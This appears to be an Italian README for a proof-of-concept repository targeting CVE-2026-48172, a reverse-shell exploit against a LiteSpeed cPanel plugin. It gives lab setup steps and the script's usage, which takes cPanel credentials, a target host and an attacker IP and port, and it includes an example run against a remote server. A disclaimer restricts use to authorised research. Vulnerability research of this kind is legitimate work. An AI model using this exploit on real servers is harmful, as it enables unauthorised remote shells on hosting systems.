📚 Repository Educativo di Ricerca sulla Sicurezza

Un repository per apprendere, testare e ricercare concetti di cybersecurity in ambienti controllati.

---

⚡ Utilizzo Semplice

Usa questo progetto solo in ambienti sicuri e autorizzati come:

• Macchine virtuali locali
• Container Docker
• Configurazioni di laboratorio isolate
• Ambienti di penetration testing autorizzati

Esempio di configurazione:

git clone https://github.com/HORKimhab/CVE-2026-48172 && cd CVE-2026-48172

cd lab
docker compose up --build -d
cd ..

Esempio di utilizzo:

# For localhost (uses HTTP automatically)
python3 cve-2026-48712.py -u test -p test -H localhost:2083 -i 192.168.1.100

# For remote server (uses HTTPS)
python3 cve-2026-48712.py -u test -p test -H example.com:2083 -i 192.168.1.100

usage: cve-2026-48712.py [-h] -u USER -p PASSWORD [-H HOST] -i ATTACKER_IP [-P ATTACKER_PORT]

CVE-2026-48172 PoC - LiteSpeed cPanel Redis TLS Reverse Shell

options:
  -h, --help            show this help message and exit
  -u, --user USER       cPanel username
  -p, --password PASSWORD
                        cPanel password
  -H, --host HOST       cPanel host with protocol and port (default: http://localhost:2083)
  -i, --attacker-ip ATTACKER_IP
                        Your IP for reverse shell
  -P, --attacker-port ATTACKER_PORT
                        Reverse shell port (default: 8443)

Sostituisci i comandi sopra con i passaggi effettivi di configurazione del progetto.

---

---

Crediti o Riferimenti

• https://nvd.nist.gov/vuln/detail/CVE-2026-48172
• https://thehackernews.com/2026/05/litespeed-cpanel-plugin-cve-2026-48172.html
• https://www.cve.org/CVERecord?id=CVE-2026-48172

---

⚠️ Dichiarazione di Sicurezza e Legale

Scopo

Questo repository è solo per ricerca sulla sicurezza educativa e autorizzata.

È progettato per aiutare gli utenti a imparare su:

• Vulnerabilità di sicurezza
• Concetti di sandbox e isolamento
• Pratiche di codifica sicura e difensiva

---

Solo Uso Autorizzato

Usa questo repository solo in ambienti in cui hai il permesso, come:

• Laboratori personali o macchine virtuali
• Ambienti Docker o isolati
• Penetration testing autorizzato
• Formazione sulla cybersecurity o ricerca accademica

L'uso non autorizzato o illegale è severamente vietato.

---

Nessuna Responsabilità

L'autore e i contributori non sono responsabili per eventuali danni, usi impropri, problemi legali o perdite causati da questo progetto.

Utilizzando questo repository, accetti che:

• Sei responsabile delle tue azioni
• Lo utilizzerai in modo legale ed etico
• Il progetto è fornito senza garanzia

---

Uso Etico

Questo progetto è destinato a:

• Ricerca sulla sicurezza difensiva
• Educazione alla cybersecurity
• Consapevolezza delle vulnerabilità
• Ricerca su sistemi e software sicuri

Si prega di seguire le pratiche di divulgazione responsabile e di rispettare tutte le leggi applicabili.

---

Contatti

Per divulgazione responsabile o collaborazione, contatta il maintainer del repository tramite GitHub.